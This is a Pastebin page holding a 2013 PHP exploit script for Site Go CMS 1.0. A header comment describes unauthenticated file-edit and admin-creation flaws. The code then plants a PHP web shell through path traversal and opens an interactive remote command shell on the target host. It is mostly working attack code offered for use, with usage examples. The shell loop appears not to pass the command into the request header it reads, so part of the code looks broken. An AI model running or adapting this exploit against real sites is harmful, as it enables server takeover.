Black-ID

Site Go CMS <= 1.0 Remote Command Execution

Jul 13th, 2013
363
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.17 KB | None | 0 0
  1. <?php
  2. /*
  3.     -----------------------------------------------------------------
  4.     Site Go CMS  <= 1.0 Remote Command Execution
  5.     -----------------------------------------------------------------
  6.    
  7.     author...........: Black-ID
  8.     mail.............: dzcoder[at]hotmail[dot]fr
  9.     software link....: http://site-go.com/
  10.    
  11.     [1] Arbitary File edit/disclosure
  12.         [-] Vulnerable code in :
  13.         admin/extra/StyleManager/EditFile.php
  14.    
  15.         .11  $MyFile = "../style/".$_GET[OpenStyle]."/templet/".$_GET['EditFile']."";
  16.         ...
  17.         .21  $EditCode=$_POST['EditCode'];
  18.         ...
  19.         .27  $FILE_op=fopen("$MyFile","w");
  20.         .28  $FILE_r=fputs($FILE_op,"$EditCode");
  21.        
  22.         The vulnerability is caused due to the absence of session limtation by the autor,
  23.         This can lead to execution of arbitrary PHP code by  editing/disclosuring high sensitive files such as config/config.php.
  24.        
  25.     [2] Arbitary add admin
  26.         [-] Vulnerable code in :
  27.         admin/extra/moderators/add.php
  28.        
  29.         .3  if ($_POST['sub_add']){
  30.         .4
  31.         .5  $permissions="$_POST[articles_mo] , $_POST[gallery_mo] , $_POST[songs_mo] , $_POST[video_mo] , $_POST[programs_mo] , $_POST[links_mo] , $_POST[multi_mo] , $_POST[root_mo] , ";
  32.         .6  $pass=md5("$_POST[pass]");
  33.         ...
  34.         .22  if (!$plz_dontadd){
  35.         .23  $add=@mysql_query("INSERT INTO `user_account` (user,pass,email,permissions,reg_date)values('$_POST[user]','$pass','$_POST[email]','$permissions','$conf[Time]')");
  36.  
  37.         The vulnerability is caused due to the absence of session limtation by the autor,
  38.         This can lead to add superuser with full permissions .
  39.        
  40.     [*] and more ...
  41.    
  42. */
  43. error_reporting(0);
  44. set_time_limit(0);
  45. ini_set("default_socket_timeout", 5);
  46.  
  47. function http_send($host, $packet)
  48. {
  49.        
  50.     if (($sock = fsockopen($host, 80))){
  51.     fputs($sock, $packet);
  52.     return stream_get_contents($sock);
  53.     }
  54. }
  55. print "\n+-------------------------------------------------------------------+";
  56. print "\n| Site Go CMS   <= 1.0 Remote Command Execution By Black-ID         |";
  57. print "\n+------------------------------------------------------------------+\n";
  58. if ($argc < 2)
  59. {
  60.     print "\nUsage......: php $argv[0] host path/ \n";
  61.     print "\nExample....: php $argv[0] localhost sitego/ \n";
  62.     die();
  63. }
  64.  
  65.     $host = $argv[1];
  66.     $path = $argv[2];
  67.    
  68.     $payload = 'EditCode=<?php error_reporting(0); print(___); passthru(base64_decode($_SERVER[HTTP_CMD])); die; ?>';
  69.     $packet  = "POST /{$path}admin/extra/StyleManager/EditFile.php?OpenStyle=../..&OpenFolder=../..&EditFile=ajax.php HTTP/1.1\r\n";
  70.     $packet .= "Host: {$host}\r\n";
  71.     $packet .= "Content-Length: ".strlen($payload)."\r\n";
  72.     $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  73.     $packet .= "Connection: close\r\n\r\n{$payload}";
  74.     $response = http_send($host,$packet);
  75.  
  76. while(1)
  77. {
  78.     print "\nSitego-shell# ";
  79.     if (($cmd = trim(fgets(STDIN))) == "exit") break;
  80.     $packet  = "GET /{$path}ajax.php HTTP/1.1\r\n";
  81.     $packet .= "Host: {$host}\r\n";
  82.     $packet .= "Connection: close\r\n\r\n";
  83.     $response = http_send($host, sprintf($packet, base64_encode($cmd)));
  84.     preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
  85. }
  86. ?>
Advertisement
Add Comment
Please, Sign In to add comment